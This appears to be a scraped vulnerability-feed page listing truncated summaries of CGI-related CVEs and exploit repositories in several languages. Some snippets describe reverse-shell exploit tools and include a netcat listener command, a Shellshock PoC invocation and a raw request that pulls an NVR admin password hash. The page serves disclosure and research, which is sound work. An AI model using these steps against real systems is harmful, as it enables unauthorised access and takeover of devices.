CVE-2023-47564

CVE-2023-47564 https://www.qnap.com/en/security-advisory/qsa-24-03 https://vulners.com/cve/CVE-2023-47564 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N 8.1 «Сообщается, что уязвимость, связанная с неверным назначением разрешений для критического ресурса, затрагивает Qsync Central. В случае...

CVE-2019-0232

CVE-2019-0232 설명 이 도구는 명령 실행 모드와 리버스 셸 모드를 모두 제공하여 CVE‑2019‑0232에 대한 익스플로잇 워크플로를 자동화합니다. 명령에 대한 자동 URL 인코딩을 지원하고, 임시 HTTP 서버를 실행하여 nc.exe를 호스팅한 후 certutil을 사용하여 취약한 Apache Tomcat CGI 엔드포인트에 업로드하고, 리버스 셸을 트리거한 다음 자동으로 HTTP 서버를 종료합니다. 스크립트는 필요한 인수를 검증하고, 페이로드 URL을 구성하며, 익스플로잇 요청을 전송하여 원활하고 통제된 익스플로...

Blind-SSRF-to-Remote-Code-Execution-Shellshock-Professional-Bug-Bounty-Report

블라인드 SSRF를 통한 Shellshock 원격 코드 실행: 전문 버그 바운티 보고서 이 저장소는 ShellshockCVE-2014-6271에 취약한 내부 CGI 엔드포인트에 도달한 블라인드 SSRF 취약점의 성공적인 악용을 입증하는 전문 버그 바운티 보고서를 담고 있습니다. 원격 명령 실행은 대역 외OAST DNS 콜백을 통해 확인되었으며, 전체 공격 체인과 기술적 분석을 보여줍니다...

poc-yaws-cgi-shell-injection

Yaws 웹 서버의 OS 명령 주입 CVE-2020-24916 개념 증명 테스트 이미지 빌드: docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile . 및/또는 컨테이너 실행 docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi curl...

CVE-2024-10914__POC

CVE-2024-10914 - Proof of Concept Эксплойт для уязвимости внедрения команд в конечной точке /cgi-bin/accountmgr.cgi. Эта уязвимость позволяет выполнять произвольные команды в затронутой системе через несанитизированные параметры. Описание уязвимости CVE-2024-10914 — это уязвимость внедрения коман...

CVE-2025-64446-FortiWeb-CGI-Bypass-PoC

CVE-2025-64446 익스플로잇 도구 FortiWeb 기기에서 CVE-2025-64446 취약점 확인 및 익스플로잇을 위한 도구입니다. 설명 이 도구는 FortiWeb 웹 애플리케이션 방화벽의 경로 탐색path traversal 취약점CVE-2025-64446을 테스트하고 익스플로잇합니다. 취약점 상태를 확인하거나 CGI 엔드포인트를 익스플로잇하여 사용자 계정을 생성/수정하는 데 사용할 수 있습니다. 설치 pip install -r requirements.txt 사용법 취약점 확인 읽기 전용 python3 exploit....

CVE-2022-21587-Oracle-EBS-

이 익스플로잇을 실행하기 위한 사전 요구 사항: python3 모듈: requests, os, sys, slipit 포함 uuencode 실행 전에, 윤리적 목적으로만 사용하십시오. 익스플로잇이 실행에 실패할 경우: 사전 요구 모듈이 이미 설치되어 있는지 확인하십시오. requests 설치 pip3 install requests slipit 설치: git clone https://github.com/usdAG/slipit cd slipit python3 setup.py sdist pip3 install --user dist/ ...

CVE-2014-6271

CVE-2014-6271 python2.7 자신의 머신에서 리슨을 시작하세요. nc -l -p 4444 아래 규칙에 따라 python 스크립트를 실행하세요: python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 즐기세요...

CVE-2017-14262

SamsungNVRvul CVE-2017-14262 xfuturesec Co., Ltd まず、'admin'アカウントのMD5ハッシュパスワードを取得します。 送信: GET http://192.168.1.14/cgi-bin/main-cgi?json="cmd":201,"szUserNameQry":"admin","szUserName":"","u32UserLoginHandle":0 HTTP/1.1 Host: 192.168.1.14 User-Agent: Mozilla/5.0 Windows NT 6.3; WOW64; rv:55.0...

CVE-2026-73673

CVE-2026-73673: Netis NC63 인증되지 않은 펌웨어 업데이트 및 암호화 기반 펌웨어 인증 부재 Özcan Ersan@ozcanpng의 원본 취약점 연구. 이 저장소는 저자가 발견하고 보고한 CVE-2026-73673을 문서화합니다. CVE-2026-73673에 대한 비파괴적 개념 증명PoC 및 증거 패키지입니다. Netis NC63 펌웨어 V3.0.0.3327은 인증된 관리자 세션을 강제하지 않고 권한이 필요한 펌웨어 업데이트 엔드포인트 /cgi-bin/uploadfw.cgi를 노출합니다. 또한 펌웨어 업로드...

shellshock-victim-host

shellshock-victim-host ShellshockCVE-2014-6271에 취약한 Docker 컨테이너 실행 podman build -t shellshock-victim . podman run -it -p 80:8080 shellshock-victim 참고: docker로도 빌드 가능합니다. 취약한 앱이 다음 위치에 배포됩니다: http://localhost:8080/victim.cgi - 취약한 엔드포인트 http://localhost:8080/safe.cgi - 안전한 엔드포인트...

CVE-2025-67445

개요 TOTOLINK X5000R V9.1.0cu.2415 웹 관리 인터페이스의 취약점으로 인해 LAN에 있는 인증되지 않은 원격 공격자가 세그멘테이션 오류를 발생시켜 웹 서비스를 중단시킬 수 있습니다. CGI 엔드포인트에 과도하게 큰 HTTP POST 요청을 전송하면 공격자가 메모리 고갈을 유발하여 서비스 거부DoS 상태를 만들 수 있습니다. 취약점 세부 정보 이 취약점은 펌웨어의 Lighttpd 구성에서 요청 크기 제한이 적용되지 않는 데서 비롯됩니다. 구체적으로 다음 제한이 주석 처리되어 있습니다:...

CVE-2026-94098 Netcore NBR200V2 Firmware Upgrade CGI Endpoint upgrade command injection

A vulnerability was identified in Netcore NBR200V2 1.3.241127.071246. This vulnerability affects unknown code of the file /www/cgi-bin/upgrade of the component Firmware Upgrade CGI Endpoint. Such manipulation of the argument QUERYSTRING leads to command injection. The attack can be executed...

CVE-2026-94098 Netcore NBR200V2 Firmware Upgrade CGI Endpoint upgrade command injection

A vulnerability was identified in Netcore NBR200V2 1.3.241127.071246. This vulnerability affects unknown code of the file /www/cgi-bin/upgrade of the component Firmware Upgrade CGI Endpoint. Such manipulation of the argument QUERYSTRING leads to command injection. The attack can be executed...

CVE-2026-94098: Improper Neutralization of Special Elements used in a Command

A vulnerability was identified in Netcore NBR200V2 1.3.241127.071246. This vulnerability affects unknown code of the file /www/cgi-bin/upgrade of the component Firmware Upgrade CGI Endpoint. Such manipulation of the argument QUERYSTRING leads to command injection. The attack can be executed...

EUVD-2026-80060

Netcore NR255-V firmware version 1.5.130703 contains a sensitive information disclosure vulnerability in the ddnswanlistshow.cgi endpoint and related DDNSsetcgi, IGDGetCgiHandler, and IGDCgiCall components. Attackers who reach this CGI handler can obtain plaintext DDNS credentials, exposing...

CVE-2026-92256

NR255-V version 1.5.130703 contains a sensitive information disclosure vulnerability in l2tpdconfigshowcgi.c, ipsecshowcgi.c, and modvpnremote/plan.json read handlers. Attackers can query l2tpdconfigshow.cgi to expose stored IPsec PSK and RSA key material...

CVE-2026-76869

Netcore NR255-V version 1.5.130703 contains a stack-based buffer overflow in reboottimerset.cgi caused by improper sscanf token parsing. Attackers can exploit this flaw by submitting crafted input to the affected endpoint to corrupt stack memory...

CVE-2026-76861

Netcore NR255-V version 1.5.130703 contains a stack-based buffer overflow in ntoolstcpdumpstartset.cgi caused by an unsized sprintf call when processing form values. An attacker can submit crafted input to this cgi endpoint to overflow the stack buffer and potentially execute arbitrary code...

CVE-2026-76854

Netcore NR255-V version 1.5.130703 contains a sensitive information disclosure vulnerability in l7webauthusershow.cgi related to captive-portal credential handling. Attackers can query this component to obtain captive-portal user credentials, compromising confidentiality of authenticated network...